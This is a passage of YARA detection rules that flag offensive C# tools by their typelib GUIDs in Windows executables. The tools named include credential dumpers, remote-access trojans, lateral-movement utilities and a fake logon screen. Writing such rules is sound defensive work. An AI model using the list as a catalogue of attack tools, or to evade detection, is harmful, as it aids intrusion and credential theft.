		reference = "https://github.com/slyd0g/SharpClipboard"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "fd1b7786-8853-5858-ab03-da350e44f738"

	strings:
		$typelibguid0lo = "97484211-4726-4129-86aa-ae01d17690be" ascii wide
		$typelibguid0up = "97484211-4726-4129-86AA-AE01D17690BE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCookieMonster
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/m0rv4i/SharpCookieMonster"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "87be6949-f4f5-5a5a-b804-c627ed0f4355"

	strings:
		$typelibguid0lo = "566c5556-1204-4db9-9dc8-a24091baaa8e" ascii wide
		$typelibguid0up = "566C5556-1204-4DB9-9DC8-A24091BAAA8E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_p0wnedShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "390b94d1-dda9-5a85-80ae-c79a3f7b0b9d"

	strings:
		$typelibguid0lo = "2e9b1462-f47c-48ca-9d85-004493892381" ascii wide
		$typelibguid0up = "2E9B1462-F47C-48CA-9D85-004493892381" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpMove
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xthirteen/SharpMove"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "e52392f9-614c-596e-8efd-aa0a2fa44e60"

	strings:
		$typelibguid0lo = "8bf82bbe-909c-4777-a2fc-ea7c070ff43e" ascii wide
		$typelibguid0up = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_C_Sharp_R_A_T_Client
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "f5df8257-d202-58e3-9c4a-1dfc9dd52f2a"

	strings:
		$typelibguid0lo = "6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8" ascii wide
		$typelibguid0up = "6D9E8852-E86C-4E36-9CB4-B3C3853ED6B8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpPrinter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/SharpPrinter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "10270351-ad80-5330-971b-bc8f635f05f4"

	strings:
		$typelibguid0lo = "41b2d1e5-4c5d-444c-aa47-629955401ed9" ascii wide
		$typelibguid0up = "41B2D1E5-4C5D-444C-AA47-629955401ED9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_EvilFOCA
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ElevenPaths/EvilFOCA"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "2b2f5f6f-4224-5013-9e85-0ac088826bea"

	strings:
		$typelibguid0lo = "f26bdb4a-5846-4bec-8f52-3c39d32df495" ascii wide
		$typelibguid0up = "F26BDB4A-5846-4BEC-8F52-3C39D32DF495" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PoshC2_Misc
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/nettitude/PoshC2_Misc"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "245803cb-63d8-5c75-b672-912091cf4a80"

	strings:
		$typelibguid0lo = "85773eb7-b159-45fe-96cd-11bad51da6de" ascii wide
		$typelibguid0up = "85773EB7-B159-45FE-96CD-11BAD51DA6DE" ascii wide
		$typelibguid1lo = "9d32ad59-4093-420d-b45c-5fff391e990d" ascii wide
		$typelibguid1up = "9D32AD59-4093-420D-B45C-5FFF391E990D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Sharpire
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xbadjuju/Sharpire"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "32bdaa0f-3afc-5e0e-a20f-e21f33909af7"

	strings:
		$typelibguid0lo = "39b75120-07fe-4833-a02e-579ff8b68331" ascii wide
		$typelibguid0up = "39B75120-07FE-4833-A02E-579FF8B68331" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Sharp_SMBExec
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/checkymander/Sharp-SMBExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "6a1024af-734c-5974-af50-db51dbd694ff"

	strings:
		$typelibguid0lo = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii wide
		$typelibguid0up = "344EE55A-4E32-46F2-A003-69AD52B55945" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MiscTools
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/MiscTools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "ce49cc7b-a5a5-52b7-a7bf-bbb0c5b29b8a"

	strings:
		$typelibguid0lo = "384e9647-28a9-4835-8fa7-2472b1acedc0" ascii wide
		$typelibguid0up = "384E9647-28A9-4835-8FA7-2472B1ACEDC0" ascii wide
		$typelibguid1lo = "d7ec0ef5-157c-4533-bbcd-0fe070fbf8d9" ascii wide
		$typelibguid1up = "D7EC0EF5-157C-4533-BBCD-0FE070FBF8D9" ascii wide
		$typelibguid2lo = "10085d98-48b9-42a8-b15b-cb27a243761b" ascii wide
		$typelibguid2up = "10085D98-48B9-42A8-B15B-CB27A243761B" ascii wide
		$typelibguid3lo = "6aacd159-f4e7-4632-bad1-2ae8526a9633" ascii wide
		$typelibguid3up = "6AACD159-F4E7-4632-BAD1-2AE8526A9633" ascii wide
		$typelibguid4lo = "49a6719e-11a8-46e6-ad7a-1db1be9fea37" ascii wide
		$typelibguid4up = "49A6719E-11A8-46E6-AD7A-1DB1BE9FEA37" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MemoryMapper
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jasondrawdy/MemoryMapper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "c978be10-315c-54e7-afea-f97e9a5f2d18"

	strings:
		$typelibguid0lo = "b9fbf3ac-05d8-4cd5-9694-b224d4e6c0ea" ascii wide
		$typelibguid0up = "B9FBF3AC-05D8-4CD5-9694-B224D4E6C0EA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_VanillaRAT
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/DannyTheSloth/VanillaRAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "9448e8d0-5bfc-5683-b633-284e43d24642"

	strings:
		$typelibguid0lo = "d0f2ee67-0a50-423d-bfe6-845da892a2db" ascii wide
		$typelibguid0up = "D0F2EE67-0A50-423D-BFE6-845DA892A2DB" ascii wide
		$typelibguid1lo = "a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402" ascii wide
		$typelibguid1up = "A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UnmanagedPowerShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/leechristensen/UnmanagedPowerShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "49ff1362-0ac5-580d-97f3-516f2a10072b"

	strings:
		$typelibguid0lo = "dfc4eebb-7384-4db5-9bad-257203029bd9" ascii wide
		$typelibguid0up = "DFC4EEBB-7384-4DB5-9BAD-257203029BD9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Quasar
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/quasar/Quasar"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "b938cf7d-27fd-5fa2-b0e5-d4da5670f3ef"

	strings:
		$typelibguid0lo = "cfda6d2e-8ab3-4349-b89a-33e1f0dab32b" ascii wide
		$typelibguid0up = "CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B" ascii wide
		$typelibguid1lo = "c7c363ba-e5b6-4e18-9224-39bc8da73172" ascii wide
		$typelibguid1up = "C7C363BA-E5B6-4E18-9224-39BC8DA73172" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpAdidnsdump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/b4rtik/SharpAdidnsdump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "51d50b22-4e73-5378-9e0d-ad7730987293"

	strings:
		$typelibguid0lo = "cdb02bc2-5f62-4c8a-af69-acc3ab82e741" ascii wide
		$typelibguid0up = "CDB02BC2-5F62-4C8A-AF69-ACC3AB82E741" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DotNetToJScript
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tyranid/DotNetToJScript"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "31827074-fc63-5690-b6c7-8e89daacc07f"

	strings:
		$typelibguid0lo = "7e3f231c-0d0b-4025-812c-0ef099404861" ascii wide
		$typelibguid0up = "7E3F231C-0D0B-4025-812C-0EF099404861" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Inferno
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/LimerBoy/Inferno"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "af2d9832-c7f9-5879-a19b-a3c4d91b8b3f"

	strings:
		$typelibguid0lo = "26d498f7-37ae-476c-97b0-3761e3a919f0" ascii wide
		$typelibguid0up = "26D498F7-37AE-476C-97B0-3761E3A919F0" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSearch
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/SharpSearch"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "459d8a34-f311-5459-8257-e7aa519174b5"

	strings:
		$typelibguid0lo = "98fee742-8410-4f20-8b2d-d7d789ab003d" ascii wide
		$typelibguid0up = "98FEE742-8410-4F20-8B2D-D7D789AB003D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSecDump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/G0ldenGunSec/SharpSecDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "492dfb79-541a-589d-ac69-468e9b2ab9db"

	strings:
		$typelibguid0lo = "e2fdd6cc-9886-456c-9021-ee2c47cf67b7" ascii wide
		$typelibguid0up = "E2FDD6CC-9886-456C-9021-EE2C47CF67B7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Net_GPPPassword
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/outflanknl/Net-GPPPassword"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "a718f9fc-acf5-536e-81d6-d393cebe8f77"

	strings:
		$typelibguid0lo = "00fcf72c-d148-4dd0-9ca4-0181c4bd55c3" ascii wide
		$typelibguid0up = "00FCF72C-D148-4DD0-9CA4-0181C4BD55C3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_FileSearcher
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NVISO-BE/FileSearcher"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "1b5f1f68-f87b-5e60-94a4-e2556b4e6c5d"

	strings:
		$typelibguid0lo = "2c879479-5027-4ce9-aaac-084db0e6d630" ascii wide
		$typelibguid0up = "2C879479-5027-4CE9-AAAC-084DB0E6D630" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ADFSDump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/fireeye/ADFSDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "8cb2edcd-3696-5857-90ca-e99b1af54320"

	strings:
		$typelibguid0lo = "9ee27d63-6ac9-4037-860b-44e91bae7f0d" ascii wide
		$typelibguid0up = "9EE27D63-6AC9-4037-860B-44E91BAE7F0D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpRDP
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xthirteen/SharpRDP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "d316ec0b-0313-52bb-923d-512fa08112f9"

	strings:
		$typelibguid0lo = "f1df1d0f-ff86-4106-97a8-f95aaf525c54" ascii wide
		$typelibguid0up = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCall
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jhalon/SharpCall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "172415b6-0383-5da4-a88f-8ebe5daf9294"

	strings:
		$typelibguid0lo = "c1b0a923-0f17-4bc8-ba0f-c87aff43e799" ascii wide
		$typelibguid0up = "C1B0A923-0F17-4BC8-BA0F-C87AFF43E799" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ysoserial_net
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/pwntester/ysoserial.net"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "80483cd4-76e6-5629-bed7-4ae2e455222c"

	strings:
		$typelibguid0lo = "e1e8c029-f7cd-4bd1-952e-e819b41520f0" ascii wide
		$typelibguid0up = "E1E8C029-F7CD-4BD1-952E-E819B41520F0" ascii wide
		$typelibguid1lo = "6b40fde7-14ea-4f57-8b7b-cc2eb4a25e6c" ascii wide
		$typelibguid1up = "6B40FDE7-14EA-4F57-8B7B-CC2EB4A25E6C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ManagedInjection
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/malcomvetter/ManagedInjection"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "c66e7666-b54f-532d-90e1-870292047aec"

	strings:
		$typelibguid0lo = "e5182bff-9562-40ff-b864-5a6b30c3b13b" ascii wide
		$typelibguid0up = "E5182BFF-9562-40FF-B864-5A6B30C3B13B" ascii wide
		$typelibguid1lo = "fdedde0d-e095-41c9-93fb-c2219ada55b1" ascii wide
		$typelibguid1up = "FDEDDE0D-E095-41C9-93FB-C2219ADA55B1" ascii wide
		$typelibguid2lo = "0dd00561-affc-4066-8c48-ce950788c3c8" ascii wide
		$typelibguid2up = "0DD00561-AFFC-4066-8C48-CE950788C3C8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSocks
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/nettitude/SharpSocks"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "343061d9-e24e-5d49-939f-b94c295b17ac"

	strings:
		$typelibguid0lo = "2f43992e-5703-4420-ad0b-17cb7d89c956" ascii wide
		$typelibguid0up = "2F43992E-5703-4420-AD0B-17CB7D89C956" ascii wide
		$typelibguid1lo = "86d10a34-c374-4de4-8e12-490e5e65ddff" ascii wide
		$typelibguid1up = "86D10A34-C374-4DE4-8E12-490E5E65DDFF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Sharp_WMIExec
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/checkymander/Sharp-WMIExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "ae08a5a2-06d5-55fe-803a-7f4696220904"

	strings:
		$typelibguid0lo = "0a63b0a1-7d1a-4b84-81c3-bbbfe9913029" ascii wide
		$typelibguid0up = "0A63B0A1-7D1A-4B84-81C3-BBBFE9913029" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_KeeThief
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/KeeThief"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "71fef0e9-223a-5834-9d1c-f3fb8b66a809"

	strings:
		$typelibguid1lo = "39aa6f93-a1c9-497f-bad2-cc42a61d5710" ascii wide
		$typelibguid1up = "39AA6F93-A1C9-497F-BAD2-CC42A61D5710" ascii wide
		$typelibguid3lo = "3fca8012-3bad-41e4-91f4-534aa9a44f96" ascii wide
		$typelibguid3up = "3FCA8012-3BAD-41E4-91F4-534AA9A44F96" ascii wide
		$typelibguid4lo = "ea92f1e6-3f34-48f8-8b0a-f2bbc19220ef" ascii wide
		$typelibguid4up = "EA92F1E6-3F34-48F8-8B0A-F2BBC19220EF" ascii wide
		$typelibguid5lo = "c23b51c4-2475-4fc6-9b3a-27d0a2b99b0f" ascii wide
		$typelibguid5up = "C23B51C4-2475-4FC6-9B3A-27D0A2B99B0F" ascii wide
		$typelibguid7lo = "80ba63a4-7d41-40e9-a722-6dd58b28bf7e" ascii wide
		$typelibguid7up = "80BA63A4-7D41-40E9-A722-6DD58B28BF7E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_fakelogonscreen
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/bitsadmin/fakelogonscreen"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "cc20290c-3f34-5e81-9337-c582f1ee7ade"

	strings:
		$typelibguid0lo = "d35a55bd-3189-498b-b72f-dc798172e505" ascii wide
		$typelibguid0up = "D35A55BD-3189-498B-B72F-DC798172E505" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PoshSecFramework
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/PoshSec/PoshSecFramework"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "a91620f3-3f21-525a-bc87-94d21cd126be"

	strings:
		$typelibguid0lo = "b1ac6aa0-2f1a-4696-bf4b-0e41cf2f4b6b" ascii wide
		$typelibguid0up = "B1AC6AA0-2F1A-4696-BF4B-0E41CF2F4B6B" ascii wide
		$typelibguid1lo = "78bfcfc2-ef1c-4514-bce6-934b251666d2" ascii wide
		$typelibguid1up = "78BFCFC2-EF1C-4514-BCE6-934B251666D2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpAttack
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jaredhaight/SharpAttack"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "1eb911ab-3fb9-54b7-8afb-66328f30d563"

	strings:
		$typelibguid0lo = "5f0ceca3-5997-406c-adf5-6c7fbb6cba17" ascii wide
		$typelibguid0up = "5F0CECA3-5997-406C-ADF5-6C7FBB6CBA17" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Altman
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/keepwn/Altman"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "21acc8af-9497-5842-90a9-7a9300585d5d"

	strings:
		$typelibguid0lo = "64cdcd2b-7356-4079-af78-e22210e66154" ascii wide
		$typelibguid0up = "64CDCD2B-7356-4079-AF78-E22210E66154" ascii wide
		$typelibguid1lo = "f1dee29d-ca98-46ea-9d13-93ae1fda96e1" ascii wide
		$typelibguid1up = "F1DEE29D-CA98-46EA-9D13-93AE1FDA96E1" ascii wide
		$typelibguid2lo = "33568320-56e8-4abb-83f8-548e8d6adac2" ascii wide
		$typelibguid2up = "33568320-56E8-4ABB-83F8-548E8D6ADAC2" ascii wide
		$typelibguid3lo = "470ec930-70a3-4d71-b4ff-860fcb900e85" ascii wide
		$typelibguid3up = "470EC930-70A3-4D71-B4FF-860FCB900E85" ascii wide
		$typelibguid4lo = "9514574d-6819-44f2-affa-6158ac1143b3" ascii wide
		$typelibguid4up = "9514574D-6819-44F2-AFFA-6158AC1143B3" ascii wide
		$typelibguid5lo = "0f3a9c4f-0b11-4373-a0a6-3a6de814e891" ascii wide
		$typelibguid5up = "0F3A9C4F-0B11-4373-A0A6-3A6DE814E891" ascii wide
		$typelibguid6lo = "9624b72e-9702-4d78-995b-164254328151" ascii wide
		$typelibguid6up = "9624B72E-9702-4D78-995B-164254328151" ascii wide
		$typelibguid7lo = "faae59a8-55fc-48b1-a9b5-b1759c9c1010" ascii wide
		$typelibguid7up = "FAAE59A8-55FC-48B1-A9B5-B1759C9C1010" ascii wide
		$typelibguid8lo = "37af4988-f6f2-4f0c-aa2b-5b24f7ed3bf3" ascii wide
		$typelibguid8up = "37AF4988-F6F2-4F0C-AA2B-5B24F7ED3BF3" ascii wide
		$typelibguid9lo = "c82aa2fe-3332-441f-965e-6b653e088abf" ascii wide
		$typelibguid9up = "C82AA2FE-3332-441F-965E-6B653E088ABF" ascii wide
		$typelibguid10lo = "6e531f6c-2c89-447f-8464-aaa96dbcdfff" ascii wide
		$typelibguid10up = "6E531F6C-2C89-447F-8464-AAA96DBCDFFF" ascii wide
		$typelibguid11lo = "231987a1-ea32-4087-8963-2322338f16f6" ascii wide
		$typelibguid11up = "231987A1-EA32-4087-8963-2322338F16F6" ascii wide
		$typelibguid12lo = "7da0d93a-a0ae-41a5-9389-42eff85bb064" ascii wide
		$typelibguid12up = "7DA0D93A-A0AE-41A5-9389-42EFF85BB064" ascii wide
		$typelibguid13lo = "a729f9cc-edc2-4785-9a7d-7b81bb12484c" ascii wide
		$typelibguid13up = "A729F9CC-EDC2-4785-9A7D-7B81BB12484C" ascii wide
		$typelibguid14lo = "55a1fd43-d23e-4d72-aadb-bbd1340a6913" ascii wide
		$typelibguid14up = "55A1FD43-D23E-4D72-AADB-BBD1340A6913" ascii wide
		$typelibguid15lo = "d43f240d-e7f5-43c5-9b51-d156dc7ea221" ascii wide
